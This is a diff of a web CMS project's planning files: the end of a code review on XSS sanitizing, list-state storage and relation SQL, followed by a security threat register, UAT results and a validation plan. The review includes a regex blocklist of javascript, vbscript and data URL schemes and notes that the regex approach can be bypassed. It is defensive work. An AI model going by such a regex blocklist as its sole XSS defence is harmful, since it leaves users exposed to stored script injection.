If a new dependency is not acceptable, use the parser already in the build: `golang.org/x/net/html`, at v0.58.0 in go.sum. Tokenize the output and refuse it when a start tag is not in an allowlist, when an attribute name starts with `on`, or when an `href`/`src`/`xlink:href`/`action`/`formaction` value, after entity decoding (the tokenizer does that) and after removing ASCII whitespace and control characters, starts with a scheme other than `http`, `https`, `mailto` or a relative path. Also port the fix to `vue-journal-layer/app/utils/htmlGate.ts`, for example DOMPurify on the client and server render, so the public layer actually provides defence in depth. Add every payload from the table above to `TestFormatHTMLRejectsUnsafeHTML`.
|
||||
|
||||
## Warnings
|
||||
|
||||
### WR-01: `data:` blocklist regex refuses ordinary Polish text "Data:" (and "metadata:"), so imports and saves fail
|
||||
|
||||
**File:** `../sm-journal-plugin/classes/format_html.go:27`
|
||||
**Issue:** `(?i)(?:javascript|vbscript|data):` has no word boundary and no attribute context, so it matches body text. In Polish, "Data:" is the usual label for a date ("Data: 12 maja 2024", "Data publikacji:"). I confirmed that `FormatHTML("<p>Data: 12 maja 2024</p>")` is refused, and so is any English text containing "metadata:" or "big data:". The admin save returns 422 on `content` (`controllers/posts.go:213-217`), and `journal:import-posts` rejects the post. This works against D-03's goal that imported HTML bodies survive a save. The regex existed before this phase, but the phase now routes all raw imported HTML through it.
|
||||
**Fix:** Check URL schemes only inside URL-bearing attribute values. The parser-based gate from CR-01 does this. As a stop-gap, anchor the regex to an attribute value, for example `(?i)(?:href|src|action|formaction|xlink:href)\s*=\s*["']?\s*(?:javascript|vbscript|data):`. Treat that only as a stop-gap, since CR-01 shows the regex approach is not sufficient on its own.
|
||||
|
||||
### WR-02: A stored list query that fails deterministically (non-422) locks the list until logout; on 422 the view shows only an error
|
||||
|
||||
**File:** `admin/src/views/ListView.vue:141-150,165-184,420-424`
|
||||
**Issue:**
|
||||
1. Only a 422 clears the stored state. If a stored sort or filter makes the server fail deterministically with a 500, for example a relation sort whose `db.Joins(field)` collides with a join already added by `ListExtendQuery`, or a `relationSubquery` parse error, the list shows the `load_failed` alert. While `failed` is true, `DataTable`, including the sortable column headers, is not rendered (line 420 `v-if` / line 423 `v-else`), so the admin cannot clear the sort. Opening the bare list URL or the sidebar link restores the same stored query (line 171-176). The list stays broken until logout or until local storage is cleared by hand.
|
||||
2. On a 422, storage is cleared, but the URL still holds the stale parameters and the user sees only the error alert. A restore that the user never asked for turns into a failed screen, and the user has to leave and come back to recover.
|
||||
**Fix:** If the first load after a restore fails for any reason, drop the stored query and load the unfiltered list, rather than only clearing storage on a 422:
|
||||
```ts
|
||||
let restored = false
|
||||
// in the watch, when restoring:
|
||||
restored = true
|
||||
void router.replace({ path: route.path, query: toListQuery(stored) })
|
||||
|
||||
// in loadList, after the generation check:
|
||||
if (!result.data && (restored || result.response?.status === 422)) {
|
||||
restored = false
|
||||
writeListState(controllerId, {})
|
||||
void router.replace({ path: route.path, query: {} })
|
||||
return
|
||||
}
|
||||
restored = false
|
||||
```
|
||||
Alternatively, keep `DataTable` headers rendered on failure so the sort can be reset.
|
||||
|
||||
### WR-03: Stored list queries survive session expiry and are not scoped to an admin
|
||||
|
||||
**File:** `admin/src/state/useAuth.ts:91-101`, `admin/main.ts:25-31`, `admin/src/state/listState.ts:24-26`
|
||||
**Issue:** The key is `summer-admin.list:<controllerId>`, with no admin id. Only an explicit `logout()` calls `clearListStates()`. When the session ends any other way (token expiry or refresh failure goes through `onUnauthorized` → `clearUser()` in `main.ts:25-31`, or the user simply closes the tab), the stored searches stay. The next admin who signs in on that browser gets them restored into the URL and sent to the server. Search terms often hold personal data such as customer names or emails, and T-16.1-03 claims "logout clears them" as the mitigation.
|
||||
**Fix:** Call `clearListStates()` from `clearUser()` so every session end clears them, or prefix the key with the signed-in admin's id (`summer-admin.list:<adminId>:<controllerId>`) and drop keys for other ids on login.
|
||||
|
||||
### WR-04: The new relation SQL is only checked as DryRun strings and never runs against Postgres
|
||||
|
||||
**File:** `modules/cabana/query_relation_test.go:133-146` (all relation tests); `modules/cabana/query.go:310-450`
|
||||
**Issue:** Every new test opens `openDryRunDB` with `DryRun: true` and asserts on the SQL text. None of these constructs are ever executed: the correlated `EXISTS (SELECT 1 FROM ... JOIN ... ON ... WHERE ... AND LOWER(CAST(... AS TEXT)) LIKE ? ESCAPE '\')`, the `ORDER BY (SELECT string_agg(CAST(..) AS TEXT), ', ' ORDER BY CAST(..) AS TEXT)) FROM ... )` raw order column merged with the primary-key tiebreak, and the pivot alias correlation. The journal plugin has a testcontainers harness (`admin_harness_test.go`), but no test there runs a relation search or a to-many sort. A typo in operator precedence, alias scoping or the escape literal would pass CI and fail only in production.
|
||||
**Fix:** Add a testcontainers-gated test in cabana, or in the journal admin harness. It should seed posts with zero, one and two categories (plus a soft-deleted category), run `?search=` on a belongsToMany, a hasMany and a belongsTo column, and run `?sort=categories&dir=desc`. Assert the returned ids and that `meta.total` equals the number of distinct posts.
|
||||
|
||||
### WR-05: to-many sort key does not equal the displayed text, contradicting the code comment and docs
|
||||
|
||||
**File:** `modules/cabana/query.go:314-324`, `modules/cabana/query.go:734-757`, `docs/backend/lists-and-filters.md:62`
|
||||
**Issue:** The sort uses `string_agg(value, ', ' ORDER BY value)`, which sorts the values alphabetically. The displayed cell (`relatedSelectMany`) joins the preloaded records in whatever order `Preload` returns them, which has no ORDER BY (in practice pivot or primary-key order). A post with categories inserted as "Zebra", "Apple" shows "Zebra, Apple" but sorts as "Apple, Zebra", so the rows look out of order. The comment ("string_agg in the same order is the comma-joined value the list displays") and the docs sentence ("sorts by its comma-joined values, the text the list shows") are both wrong.
|
||||
**Fix:** Make the display match the sort by sorting `values` in `relatedSelectMany` with `slices.Sort(values)` before joining. Alternatively, preload with the same order (`q.Preload(field, func(db *gorm.DB) *gorm.DB { return db.Order(column) })`) and correct the docs. Either way, add a test with related values in non-alphabetical order.
|
||||
|
||||
## Info
|
||||
|
||||
### IN-01: NULL placement for relation sorts differs from Winter
|
||||
|
||||
**File:** `modules/cabana/query.go:318-332`
|
||||
**Issue:** A record with no related rows sorts on NULL. PostgreSQL puts NULLs last for ASC and first for DESC, while Winter on MySQL does the opposite. Admin users will see records without categories at the opposite end from the PHP admin.
|
||||
**Fix:** If parity matters, append `NULLS FIRST` for ASC and `NULLS LAST` for DESC to the raw order expression and to the to-one joined column.
|
||||
|
||||
### IN-02: Relation search and sort validity is checked per request, not at compile time
|
||||
|
||||
**File:** `modules/cabana/query.go:372-389,483-490`
|
||||
**Issue:** A `searchable: true` column on a polymorphic relation, or with a `select` the related model lacks, compiles at boot but makes every search answer 422 ("is not a searchable relation column"). Combined with WR-02, the list-state 422 handling then clears storage each time. This is a misconfiguration the admin cannot fix and that only shows up at runtime.
|
||||
**Fix:** Call `relationSubquery` for every searchable or sortable relation column during `CompileList`, or in the service constructor once the model is known, and fail boot, as the project already does for unknown column types.
|
||||
|
||||
### IN-03: Two sources of truth for the main table name
|
||||
|
||||
**File:** `modules/cabana/query.go:389` (`stmt.Schema.Table`) vs `modules/cabana/query.go:298,470,633-654` (`tableName(model)`)
|
||||
**Issue:** The relation subquery correlates on GORM's parsed table name, but plain search columns, filters and the primary-key tiebreak qualify with `tableName(model)`. For a model without `TableName()`, that returns `""`, and `quotedIdent(db, "")` produces `""."col"`, which is invalid SQL. This predates the phase, but the new code now mixes the two sources in one statement.
|
||||
**Fix:** Parse the model schema once in `ExecuteList` and pass `stmt.Schema.Table` to `applyListSearch`, `applyListFilters` and `applyListOrder`.
|
||||
|
||||
---
|
||||
|
||||
_Reviewed: 2026-10-09T21:20:45Z_
|
||||
_Reviewer: Claude (msd-code-reviewer)_
|
||||
_Depth: standard_
|
||||
@@ -0,0 +1,82 @@
|
||||
---
|
||||
phase: "16.1"
|
||||
slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
|
||||
status: draft
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
asvs_level: 1
|
||||
created: "2026-10-10"
|
||||
---
|
||||
|
||||
# Phase 16.1 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| Admin SPA → cabana list API | Authenticated backend users send search, sort and filter params that become SQL | Query params (untrusted input), list rows |
|
||||
| Post authors / import / Journal API → journal `content_html` | Markdown and raw HTML from admins, the import command and API writers is rendered and stored | Post HTML (stored, served to anonymous readers) |
|
||||
| Journal API → public Nuxt layer → browser | Stored HTML is rendered with `v-html` on public pages | Post and category HTML |
|
||||
| Admin browser storage | Remembered list queries persist across sessions on a shared browser | List query params per admin |
|
||||
| Release workstation → origin / UAT server | Tags, pushes, binary upload and restarts | Source, binary, server state |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-16.1-01 | Tampering (SQLi) | modules/cabana/query.go relation search/sort | high | mitigate | Identifiers only from GORM's parsed relationship, quoted via `quotedIdent`/`qualifiedColumn`; polymorphic/unknown columns answer 422; search term `escapeLike`d and bound; sort limited to schema-declared columns and asc/desc; route behind `protect()` | closed |
|
||||
| T-16.1-02 | Tampering / EoP (stored XSS) | sm-journal-plugin classes/format_html.go | medium | mitigate | Planned regex `rejectUnsafe` proved bypassable (CR-01, 16.1-REVIEW.md). Replaced by goldmark + bluemonday allow-list on every host `content_html` writer (admin, import, API) and `CheckHTML` for categories (sm-journal-plugin a3551f2; decision note `.planning/notes/journal-html-sanitizing-bluemonday.md`); 35-payload token-checked tests; public layer replaced its regex gate with sanitize-html (vue-journal-layer 5beb1c5). Deployed to UAT: host cbb4e7d, binary e1ba3587…148ceb (server sha256 checked by the orchestrator 2026-10-09) | closed |
|
||||
| T-16.1-03 | Information Disclosure | admin/src/state/listState.ts | low | mitigate | Only list query params stored; browser storage limited to listState.ts/useSidebar.ts (enforced by scripts/check-phase10.sh). WR-03 cross-admin leak fixed in cd25af0: keys scoped `summer-admin.list:<adminId>:<controller>`, all keys cleared on logout, session expiry (`expireSession` via `onUnauthorized`) and sign-in as another admin; legacy keys swept | closed |
|
||||
| T-16.1-04 | Tampering | admin list state restore | low | mitigate | `readListState` validates shape and re-parses via `parseListQuery`; server re-validates page, per_page, sort and filters (422); a failed restored query is forgotten and the plain list reloads once (WR-02, cd25af0) | closed |
|
||||
| T-16.1-05 | DoS | cabana relation search | low | accept | See AR-01 | closed |
|
||||
| T-16.1-06 | Tampering (false-green release) | 16.1-02 release gate | medium | mitigate | Release sheet records `release-gate-ok`, counted smoke tests, vitest, dist and OpenAPI gates and the human decision verbatim (16.1-02-SUMMARY) | closed |
|
||||
| T-16.1-07 | Tampering / Repudiation | summercms v0.1.16 tag and pushes | high | mitigate | Annotated tag on d77393b containing 06d75cb, bd8626e, 9cac45c; origin tag object d8e3536 matches local; journal and host heads on origin | closed |
|
||||
| T-16.1-08 | Information Disclosure | UAT deploy | high | mitigate | DEPLOY.md rsync list excludes env files; no credentials in any SUMMARY; executors never requested or held credentials | closed |
|
||||
| T-16.1-09 | Tampering | UAT database | medium | mitigate | Read-only psql/log checks only; post data changed only by two human admin saves; `.prev` binary kept for rollback | closed |
|
||||
| T-16.1-10 | EoP | deploy sudo scope | low | accept | See AR-02 | closed |
|
||||
| T-16.1-11 | Repudiation (false green) | 16.1-VALIDATION.md | medium | mitigate | Row 16.1-03-03 updated 2026-10-10 to the post-CR-01 test names; re-run gives four top-level PASS lines | closed |
|
||||
| T-16.1-12 | Tampering / DoS | cabana DryRun tests | low | mitigate | DryRun DBs use `DryRun: true`, `DisableAutomaticPing`, `port=1` DSN; Postgres tests use testcontainers | closed |
|
||||
| T-16.1-SC | Tampering (supply chain) | go.mod / package.json | high | mitigate | summercms.go adds no dependency; sm-journal-plugin adds bluemonday v1.0.27 (+ aymerick/douceur v0.2.0, gorilla/css v1.0.1), named in the decision note, hash-pinned, `go mod verify` clean; vue-journal-layer adds sanitize-html 2.18.0 with decision note docs/decisions/0001-sanitize-html.md | closed |
|
||||
| T-16.1-13 (audit W-1) | Tampering (stored XSS, latent) | sm-journal-plugin translated `content_html` (API syncTranslations, import) | medium | mitigate | `classes.FormatTranslation` on every API and import locale write: derived from `content` or sanitized with the same policy; default-locale bypass covered (sm-journal-plugin 0d00ec8; harness tests TestJournalAPITranslatedContentHTML, TestJournalImportTranslatedContentHTML) | closed |
|
||||
| T-16.1-14 (audit W-2) | Tampering | sm-journal-plugin FormatHTML byte-preserving shortcut (duplicate attributes) | low | mitigate | Raw attribute names compared with tokenizer output; duplicates store the sanitized output and CheckHTML refuses (sm-journal-plugin 5f47083; TestFormatHTMLDuplicateAttributes, TestRawAttrNames, TestCheckHTML cases) | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|
||||
|---------|------------|-----------|-------------|------|
|
||||
| AR-01 | T-16.1-05 | Relation search uses EXISTS subqueries; the route is admin-only and page size is limited to schema options. The COUNT query evaluates EXISTS over every matching row, not one page; acceptable at current data sizes (≈100 posts) | 16.1-01 plan (accept disposition) | 2026-10-10 |
|
||||
| AR-02 | T-16.1-10 | Deploy uses a narrow sudo scope (nginx -t/reload, supervisorctl) documented in DEPLOY.md | 16.1-02 plan (accept disposition) | 2026-10-10 |
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-10-10 | 13 (register) + 2 audit warnings | 13 | 2 (below high, non-blocking) | msd-security-auditor (ASVS L1, boundary checks for T-16.1-01/02/WR-03) |
|
||||
| 2026-10-10 | 15 | 15 | 0 | orchestrator (T-16.1-13/14 fixed in 0d00ec8, 5f47083; tests re-run) |
|
||||
|
||||
Audit notes: the auditor flagged W-3 (public layer gate) and W-4 (no record of the a3551f2 UAT deploy). W-3 is resolved by vue-journal-layer 5beb1c5; W-4 is recorded in T-16.1-02 above. The admin preview (`modules/cabana/field_markdown.go`) stays in goldmark safe mode.
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [ ] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** pending (T-16.1-13/14 fixes and the combined release)
|
||||
@@ -0,0 +1,54 @@
|
||||
---
|
||||
status: complete
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
source: [16.1-VERIFICATION.md]
|
||||
started: 2026-10-10T00:00:00Z
|
||||
updated: 2026-10-10T01:00:00Z
|
||||
---
|
||||
|
||||
## Current Test
|
||||
|
||||
[testing complete]
|
||||
|
||||
## Tests
|
||||
|
||||
### 1. Install the hardened staging vhost on UAT (root)
|
||||
expected: Security headers present exactly once on public pages, /gfadmin unchanged in access, `nginx -t` passes
|
||||
result: pass
|
||||
evidence: |
|
||||
2026-10-09 23:05 UTC via debian@ sudo. Backup /etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl.bak-20261009T230555Z;
|
||||
installed sha256 bce4d7f9…bd7c; `nginx -t` ok; reloaded. curl: /, a post, /_journal, a /storage 404 and /gfadmin each carry
|
||||
HSTS, nosniff, X-Frame-Options DENY, Referrer-Policy, Permissions-Policy and CSP-Report-Only exactly once; /gfadmin keeps its
|
||||
enforced CSP and Referrer-Policy same-origin, answers 200 without basic auth, locale cookie Secure; public paths still 401
|
||||
off-server. On-server smoke (loopback): smoke: ok (98 urls); 200 pages show all six headers. Winter vhost untouched.
|
||||
|
||||
### 2. Posts list search on UAT
|
||||
expected: Searching "cordyceps" at https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts returns rows (no "The list could not be loaded")
|
||||
result: pass
|
||||
evidence: user confirmed on UAT 2026-10-10 ("Confirmed")
|
||||
|
||||
### 3. List state round trip on UAT (D-01, v0.1.17 build)
|
||||
expected: Sort plus a category filter survive opening a post and back, "Zapisz i zamknij", and leaving via the plugin rail; the URL carries them; a pasted URL in a new tab shows the same list; after logout and login the list opens unfiltered; signing in as a different admin on the same browser shows no earlier admin's search
|
||||
result: pass
|
||||
evidence: user confirmed all three sub-checks on UAT 2026-10-10 (sort/filter survive navigation; URL round trip; cleared after logout)
|
||||
|
||||
### 4. Post form locales and fields on UAT (D-03)
|
||||
expected: An imported post's form shows pl first with title, slug, content and excerpt filled
|
||||
result: pass
|
||||
evidence: user confirmed on UAT 2026-10-10
|
||||
|
||||
### 5. Review the prohibition verdicts
|
||||
expected: The nine prohibition verdicts in 16.1-VERIFICATION.md (all "not violated") are acceptable
|
||||
result: pass
|
||||
evidence: user reviewed the nine verdicts and replied "approved" 2026-10-10 (notes: #6 UAT vhost installed, Winter vhost untouched; #3 translated content_html derived from content when both are sent, shapes unchanged)
|
||||
|
||||
## Summary
|
||||
|
||||
total: 5
|
||||
passed: 5
|
||||
issues: 0
|
||||
pending: 0
|
||||
skipped: 0
|
||||
blocked: 0
|
||||
|
||||
## Gaps
|
||||
@@ -0,0 +1,100 @@
|
||||
---
|
||||
phase: "16.1"
|
||||
slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
|
||||
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
|
||||
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
|
||||
status: draft
|
||||
nyquist_compliant: true
|
||||
wave_0_complete: true
|
||||
created: "2026-10-09"
|
||||
---
|
||||
|
||||
# Phase 16.1 — Validation Strategy
|
||||
|
||||
> Per-phase validation contract for feedback sampling during execution.
|
||||
|
||||
---
|
||||
|
||||
## Test Infrastructure
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| **Framework** | Go `testing` (GORM DryRun for SQL-shape tests; testcontainers-go v0.44.0 for Postgres suites on a Docker host only); vitest + @vue/test-utils + happy-dom for the admin SPA |
|
||||
| **Config file** | none (Go); `admin/vite.config.*`, `admin/tests/setup.ts`, `admin/tests/helpers.ts` (vitest) |
|
||||
| **Quick run command** | `go test -count=1 -run '^(TestListRelationSearchSmoke\|TestListRelationSQL\|TestEnabledLocalesDefaultFirst\|TestEnabledLocalesDefaultFirstSmoke)$' ./modules/cabana` ; `go -C ../sm-journal-plugin test -count=1 ./classes/` ; `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/state` |
|
||||
| **Full suite command (this machine, no Docker)** | `go vet ./... && go -C ../sm-journal-plugin vet ./... && go test -count=1 ./cmd/summer -run TestDocsTree && npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh` plus the quick Go commands |
|
||||
| **Full suite command (Docker host)** | `go test -count=1 ./...` in summercms.go and `go -C ../sm-journal-plugin test -count=1 ./...` |
|
||||
| **Estimated runtime** | ~30 s quick (Go pure tests + one vitest file set); ~3 min full local suite (dist rebuild dominates) |
|
||||
|
||||
Docker is not usable on the planning machine (`permission denied` on the socket): `go test ./modules/cabana` and `go test -short ./...` in sm-journal-plugin fail there for every Postgres-backed test, so every per-task gate names the pure tests with `-run` and checks their `--- PASS` lines. The Postgres suites (`TestListQueryContract`, the new `TestListRelationSearchPostgres`, the new `TestPostsAdminResaveKeepsHTML`) run on a Docker host before `/msd-verify-work`.
|
||||
|
||||
Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene` already refuses `MLField.vue`, `mlLocale.ts` and `FileCaptionModal.vue` ("imported by no test"). This phase only extends that script's browser-storage allowlist and checks the storage rule with a direct grep.
|
||||
|
||||
---
|
||||
|
||||
## Sampling Rate
|
||||
|
||||
- **After every task commit:** the task's own `<automated>` command (pure Go tests by name, vitest files, `go vet` of the touched package).
|
||||
- **After every plan wave:** the full local suite above; `scripts/check-admin-dist.sh` whenever `admin/` changed; `go test ./cmd/summer -run TestDocsTree` whenever `docs/` or a module README changed.
|
||||
- **Before `/msd-verify-work`:** full local suite green, Docker-host suites green, UAT smoke `smoke: ok (` on the server, and the manual UAT list below answered.
|
||||
- **Max feedback latency:** 60 seconds per task gate (the dist rebuild in plan 01 Task 4 is the slowest).
|
||||
|
||||
---
|
||||
|
||||
## Per-Task Verification Map
|
||||
|
||||
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|
||||
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
|
||||
| 16.1-01-01 | 01 | 1 | D-02 | T-16.1-01 | Relation and column names come from the compiled schema and GORM's parsed relationship; the search value is bound | unit (DryRun, through `service.list`) | `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
|
||||
| 16.1-01-02 | 01 | 1 | D-03 | — | N/A | unit | `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
|
||||
| 16.1-01-03 | 01 | 1 | D-03 | T-16.1-02 | Raw HTML passes; script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs are still refused on every write path | unit | `go -C ../sm-journal-plugin test -count=1 ./classes/` | ✅ extend `classes/format_html_test.go` | ✅ green |
|
||||
| 16.1-01-04 | 01 | 1 | D-01 | T-16.1-03, T-16.1-04 | Only list query params are stored, under `summer-admin.list:` keys; restored state passes the strict URL parser; logout clears it | unit (vitest) + dist drift | `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state` ; `bash scripts/check-admin-dist.sh` | ✅ extend `admin/tests/list/ListView.test.ts` | ✅ green |
|
||||
| 16.1-02-01 | 02 | 2 | D-04 | T-16.1-06, T-16.1-07 | Release only after the local gate is green and a human approves the one-way tag push | gate + checkpoint | full local suite (plan 02 Task 1 verify) | ✅ | ✅ green (plan 02: release-gate-ok, human approved v0.1.16) |
|
||||
| 16.1-02-02 | 02 | 2 | D-04 | T-16.1-07, T-16.1-08 | Uploaded binary sha256 equals the local build; previous binary kept as `.prev`; no `.env` rsynced | e2e (server) | on-server `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` via loopback resolve | ✅ | ✅ green (plan 02: smoke: ok (98 urls), sha256 match) |
|
||||
| 16.1-02-03 | 02 | 2 | D-02, D-03 | T-16.1-09, T-16.1-10 | Read-only SQL and log checks; only posts 53 and 64 are re-saved, by a human | integration (server, read-only) | `ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc ..."` (raw-HTML marker count 0, post 64 footer present) | ✅ | ✅ green (plan 02: SQL check 0:1, no SQLSTATE 42703 since restart) |
|
||||
| 16.1-03-01 | 03 | 3 | D-01 | T-16.1-11 | Storage helpers survive disabled storage; logout clears list keys only | unit (vitest) | `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts` | ✅ created (plan 03) | ✅ green |
|
||||
| 16.1-03-02 | 03 | 3 | D-02, D-03 | T-16.1-11, T-16.1-12 | Polymorphic relations and unknown columns refused (422); search value never inlined into SQL | unit (DryRun) + Postgres (Docker host) | `go test -count=1 -run '^(TestListRelationSQL\|TestEnabledLocalesDefaultFirst)$' -v ./modules/cabana` | ✅ extend files from plan 01 | ✅ green (pure); ✅ Postgres green on Docker 2026-10-09/10 |
|
||||
| 16.1-03-03 | 03 | 3 | D-03 | T-16.1-02, T-16.1-11 | Every unsafe case is sanitized (bluemonday, post-review CR-01 fix), scheme-like text and raw HTML survive, CheckHTML refuses unsafe category HTML | unit + journal harness (Docker host) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLSanitizesUnsafeHTML\|TestFormatHTMLKeepsSchemeLikeText\|TestFormatHTMLKeepsRawHTML\|TestCheckHTML)$' -v ./classes/` (four top-level PASS lines) | ✅ extend | ✅ green (pure); ✅ harness re-save green on Docker 2026-10-09/10 |
|
||||
|
||||
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
|
||||
|
||||
---
|
||||
|
||||
## Wave 0 Requirements
|
||||
|
||||
- [x] `modules/cabana/query_relation_test.go` — DryRun harness (postgres dialector, never dialed; recording logger), relation fixtures (many2many, has_many, belongs_to) and the tracer smoke test; created by plan 01 Task 1, extended by plan 03 Task 2.
|
||||
- [x] `modules/cabana/locale_order_test.go` — created by plan 01 Task 2 (smoke), extended by plan 03 Task 2.
|
||||
- [x] `admin/tests/state/listState.test.ts` — created by plan 03 Task 1.
|
||||
- [x] No framework install: GORM, the postgres dialector, testcontainers-go and vitest are already in go.mod / package.json.
|
||||
|
||||
---
|
||||
|
||||
## Manual-Only Verifications
|
||||
|
||||
| Behavior | Requirement | Why Manual | Test Instructions |
|
||||
|----------|-------------|------------|-------------------|
|
||||
| Journal posts list search on UAT returns rows (no "The list could not be loaded") | D-02 | Needs the UAT basic-auth credentials and an admin login, which the executor does not hold | In `/gfadmin/golem15/journal/posts` search "cordyceps"; rows appear. The executor then checks the Go log has no `SQLSTATE 42703` after the restart |
|
||||
| List state survives the form round trip, navigation and a shared URL | D-01 | Interactive flow on the real admin | Set a sort and a category filter, open a post, press back, then "Zapisz i zamknij" on another post: the list keeps both and the URL shows them. Leave through the rail and come back: restored. Paste the URL into a new tab: same list. Log out and in: the list opens unfiltered |
|
||||
| Imported post form shows title, slug, content and excerpt | D-03 | Real imported data on UAT | Open any imported post: the locale selector shows `pl` first and every field is filled |
|
||||
| Posts 53 and 64 get their HTML back | D-03 | Admin re-save needs credentials | Open each post and press "Zapisz"; the executor then runs the read-only SQL check (marker count 0, post 64 has its footer) |
|
||||
| Docker-host suites | D-01, D-02, D-03 | Docker unavailable on the executor machine | On a Docker host: `go test -count=1 ./...` (summercms.go) and `go -C ../sm-journal-plugin test -count=1 ./...` are green, including `TestListQueryContract`, `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` |
|
||||
|
||||
---
|
||||
|
||||
## Validation Sign-Off
|
||||
|
||||
- [x] All tasks have `<automated>` verify or Wave 0 dependencies
|
||||
- [x] Sampling continuity: no 3 consecutive tasks without automated verify
|
||||
- [x] Wave 0 covers all MISSING references
|
||||
- [x] No watch-mode flags (`vitest run` through `npm test`; `go test -count=1`)
|
||||
- [x] Feedback latency < 60s (confirmed during execution: the quick suite ran in 20 s on 2026-10-09)
|
||||
- [x] `nyquist_compliant: true` set in frontmatter (after plan 03 records the green runs)
|
||||
|
||||
## Recorded runs (plan 03, 2026-10-09, machine without Docker)
|
||||
|
||||
- Quick Go commands: four top-level `--- PASS` lines for `TestListRelationSearchSmoke`, `TestListRelationSQL`, `TestEnabledLocalesDefaultFirst` and `TestEnabledLocalesDefaultFirstSmoke`; `go -C ../sm-journal-plugin test -count=1 ./classes/` ok, with four top-level `--- PASS` lines for `TestFormatHTMLSanitizesUnsafeHTML`, `TestFormatHTMLKeepsSchemeLikeText`, `TestFormatHTMLKeepsRawHTML` and `TestCheckHTML` (updated 2026-10-10 after the CR-01 fix replaced `TestFormatHTMLRejectsUnsafeHTML`).
|
||||
- Full local suite: `go vet ./...`, `go -C ../sm-journal-plugin vet ./...`, `TestDocsTree`, `npm --prefix admin run typecheck`, `npm --prefix admin test` (76 files, 1144 tests) and `scripts/check-admin-dist.sh` ("dist matches a fresh build") printed `phase-16.1-local-gate-ok`.
|
||||
- Docker-host suites: still pending at plan 03 time (`TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` failed with "failed to create Docker provider", as designed). **Update 2026-10-10:** after the golem user joined the docker group, the full `go test -count=1 ./...` passed with Docker in summercms.go (37 packages, before and after cd25af0, and again for the v0.1.17 release) and in sm-journal-plugin, including `TestListQueryContract`, `TestListRelationSearchPostgres`, `TestPostsAdminResaveKeepsHTML` and the translation harness tests; the verifier re-ran them.
|
||||
- Manual UAT rows: the plan 02 executor confirmed posts 53 and 64 by read-only SQL. The list-state, form-locale and search checks were reported by the human before the re-saves reached UAT, so they stay open for `/msd-verify-work`.
|
||||
|
||||
**Approval:** pending (manual UAT rows only; Docker-host suites green 2026-10-10)
|
||||
@@ -0,0 +1,274 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
verified: 2026-10-09T23:05:00Z
|
||||
status: passed
|
||||
score: 32/33 must-haves verified
|
||||
covered_files:
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-PLAN.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-PLAN.md
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-SUMMARY.md
|
||||
- admin/src/main.ts
|
||||
- admin/src/state/listState.ts
|
||||
- admin/src/state/useAuth.ts
|
||||
- admin/src/state/useSidebar.ts
|
||||
- admin/src/views/ListView.vue
|
